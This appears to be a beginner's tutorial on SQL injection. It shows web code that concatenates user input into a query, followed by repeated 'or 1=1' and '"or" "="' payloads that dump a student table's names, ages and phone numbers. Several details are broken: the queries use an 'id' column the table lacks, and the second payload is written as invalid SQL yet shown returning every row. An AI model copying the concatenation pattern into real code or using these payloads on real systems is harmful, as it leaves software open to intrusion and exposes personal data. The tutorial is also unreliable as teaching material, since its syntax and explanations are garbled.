SQL Injection
SQL injection is a technique, this may destroy the database. It is one type of hacking technique.
SQL IN WEB PAGES:
Injection occurs when we ask for input like an id or username, this will run the database automatically.
Example:
Student Table:
| sid | sname | sage | sgender | Phonenumber |
| 1 | Abhinav | 22 | Male | 9895678909 |
| 2 | Ramya | 24 | Female | 6687654634 |
| 3 | Preetham | 21 | Male | 9867546453 |
| 4 | Nethranand | 21 | Male | 7675643423 |
| 5 | Naveen | 23 | Male | 6567784532 |
| 6 | Harshita | 22 | Female | 9867546231 |
| 7 | Bindu | 26 | Female | 6563412768 |
| 8 | Nandhini | 23 | Female | 6785674839 |
| 9 | Hashish | 22 | Male | 9453215052 |
| 10 | Rahul | 21 | Male | 9998989898 |
Code:
Code: id = getRequestString(“sid”);
tsql = “select * from Student where sid = ”+id;
SQL injection based on condition 1=1 is True:
If the user can type instead of wrong inputs i.e, user id or user password the user can use his knowledge in a smart way tto get outputs.
Code:
Select * from Student where id = 105 or 1=1
Output:
| sid | sname | sage | sgender | Phonenumber |
| 1 | Abhinav | 22 | Male | 9895678909 |
| 2 | Ramya | 24 | Female | 6687654634 |
| 3 | Preetham | 21 | Male | 9867546453 |
| 4 | Nethranand | 21 | Male | 7675643423 |
| 5 | Naveen | 23 | Male | 6567784532 |
| 6 | Harshita | 22 | Female | 9867546231 |
| 7 | Bindu | 26 | Female | 6563412768 |
| 8 | Nandhini | 23 | Female | 6785674839 |
| 9 | Hashish | 22 | Male | 9453215052 |
| 10 | Rahul | 21 | Male | 9998989898 |
Note: This above code instead of entering wrong inputs by entering 1 = 1, then returns the details of above mention table. i.e, Student. Displaying the student details of the student by using 1=1 condition.
Displaying the sid, sname of student table.
Code:
Select sid,sname from Student where id = 105 or 1=1
Output:
Student Table:
| sid | sname |
| 1 | Abhinav |
| 2 | Ramya |
| 3 | Preetham |
| 4 | Nethranand |
| 5 | Naveen |
| 6 | Harshita |
| 7 | Bindu |
| 8 | Nandhini |
| 9 | Hashish |
| 10 | Rahul |
Note: This above code instead of entering wrong inputs by entering 1 = 1, then returns the details of above mention table. i.e, Student. Displaying the sid, sname of the student by using 1=1 condition.
Displaying the sname, sage of student table.
Code:
Select sname, sage from Student where id = 105 or 1=1;
Output:
| sname | sage |
| Abhinav | 22 |
| Ramya | 24 |
| Preetham | 21 |
| Nethranand | 21 |
| Naveen | 23 |
| Harshita | 22 |
| Bindu | 26 |
| Nandhini | 23 |
| Hashish | 22 |
| Rahul | 21 |
Displaying the sname, Phonenumber of the student by using 1=1 condition.
Code:
Select sname, Phonenumber from Student where id = 105 or 1=1;
Output:
Student Table:
| sname | Phonenumber |
| Abhinav | 9895678909 |
| Ramya | 6687654634 |
| Preetham | 9867546453 |
| Nethranand | 7675643423 |
| Naveen | 6567784532 |
| Harshita | 9867546231 |
| Bindu | 6563412768 |
| Nandhini | 6785674839 |
| Hashish | 9453215052 |
| Rahul | 9998989898 |
Displaying the sname, sgender of the student by using 1=1 condition.
Code:
Select sname, sgender from Student where id = 105 or 1=1;
Output:
Student Table:
| sname | sgender |
| Abhinav | Male |
| Ramya | Female |
| Preetham | Male |
| Nethranand | Male |
| Naveen | Male |
| Harshita | Female |
| Bindu | Female |
| Nandhini | Female |
| Hashish | Male |
| Rahul | Male |
Displaying the sname, sage, sgender, Phonenumber of the student by using 1=1 condition.
Code:
Select sname, sage, sgender, Phonenumber from Student where id = 105 or 1=1;
Output:
Student Table:
| sname | sage | sgender | Phonenumber |
| Abhinav | 22 | Male | 9895678909 |
| Ramya | 24 | Female | 6687654634 |
| Preetham | 21 | Male | 9867546453 |
| Nethranand | 21 | Male | 7675643423 |
| Naveen | 23 | Male | 6567784532 |
| Harshita | 22 | Female | 9867546231 |
| Bindu | 26 | Female | 6563412768 |
| Nandhini | 23 | Female | 6785674839 |
| Hashish | 22 | Male | 9453215052 |
| Rahul | 21 | Male | 9998989898 |
Injection based on “=” is always true:
If the user can type instead of wrong inputs i.e, user id or user password the user can use his knowledge in a smart way by typing “or” “=”. Id = “or” “=”
Syntax :
Select * from table_name where id = “or” “=”;
Example:
Displaying all the details of student.
Code:
Select * from Student where id = “or” “=”;
Output:
Student Table:
| sid | sname | sage | sgender | Phonenumber |
| 1 | Abhinav | 22 | Male | 9895678909 |
| 2 | Ramya | 24 | Female | 6687654634 |
| 3 | Preetham | 21 | Male | 9867546453 |
| 4 | Nethranand | 21 | Male | 7675643423 |
| 5 | Naveen | 23 | Male | 6567784532 |
| 6 | Harshita | 22 | Female | 9867546231 |
| 7 | Bindu | 26 | Female | 6563412768 |
| 8 | Nandhini | 23 | Female | 6785674839 |
| 9 | Hashish | 22 | Male | 9453215052 |
| 10 | Rahul | 21 | Male | 9998989898 |
Note: This above code instead of entering wrong inputs by entering “or” “=”, then returns the details of above mention table. i.e, Student. Displaying the sid, sname of the student by using “=” condition.
Displaying the sid, sname of student table with “or” “=”
Code:
Select sid, sname from Student where id = “or” “=”;
Output:
Student Table:
| sid | sname |
| 1 | Abhinav |
| 2 | Ramya |
| 3 | Preetham |
| 4 | Nethranand |
| 5 | Naveen |
| 6 | Harshita |
| 7 | Bindu |
| 8 | Nandhini |
| 9 | Hashish |
| 10 | Rahul |
Displaying the sname, sage of the student by using ‘=’ condition.
Code:
Select sname, sage from Student where id = “or” “=”;
Output:
| sname | sage |
| Abhinav | 22 |
| Ramya | 24 |
| Preetham | 21 |
| Nethranand | 21 |
| Naveen | 23 |
| Harshita | 22 |
| Bindu | 26 |
| Nandhini | 23 |
| Hashish | 22 |
| Rahul | 21 |
Displaying the sname, Phonenumber of the student by using ‘=’ condition. Code:
Select sname, Phonenumber from Student where id = “or” “=”;
Output:
Student Table:
| sname | Phonenumber |
| Abhinav | 9895678909 |
| Ramya | 6687654634 |
| Preetham | 9867546453 |
| Nethranand | 7675643423 |
| Naveen | 6567784532 |
| Harshita | 9867546231 |
| Bindu | 6563412768 |
| Nandhini | 6785674839 |
| Hashish | 9453215052 |
| Rahul | 9998989898 |
Displaying the sname, sgender of the student by using ‘=’ condition.
Code:
Select sname, sgender from Student where id = “or” “=”;
Output:
Student Table:
| sname | sgender |
| Abhinav | Male |
| Ramya | Female |
| Preetham | Male |
| Nethranand | Male |
| Naveen | Male |
| Harshita | Female |
| Bindu | Female |
| Nandhini | Female |
| Hashish | Male |
| Rahul | Male |
Displaying the sname, sage, sgender, Phonenumber of the student by using ‘=’ condition.
Code:
Select sname, sage, sgender, Phonenumber from Student where id = “or” “=”; Output:
Student Table:
| sname | sage | sgender | Phonenumber |
| Abhinav | 22 | Male | 9895678909 |
| Ramya | 24 | Female | 6687654634 |
| Preetham | 21 | Male | 9867546453 |
| Nethranand | 21 | Male | 7675643423 |
| Naveen | 23 | Male | 6567784532 |
| Harshita | 22 | Female | 9867546231 |
| Bindu | 26 | Female | 6563412768 |
| Nandhini | 23 | Female | 6785674839 |
| Hashish | 22 | Male | 9453215052 |
| Rahul | 21 | Male | 9998989898 |
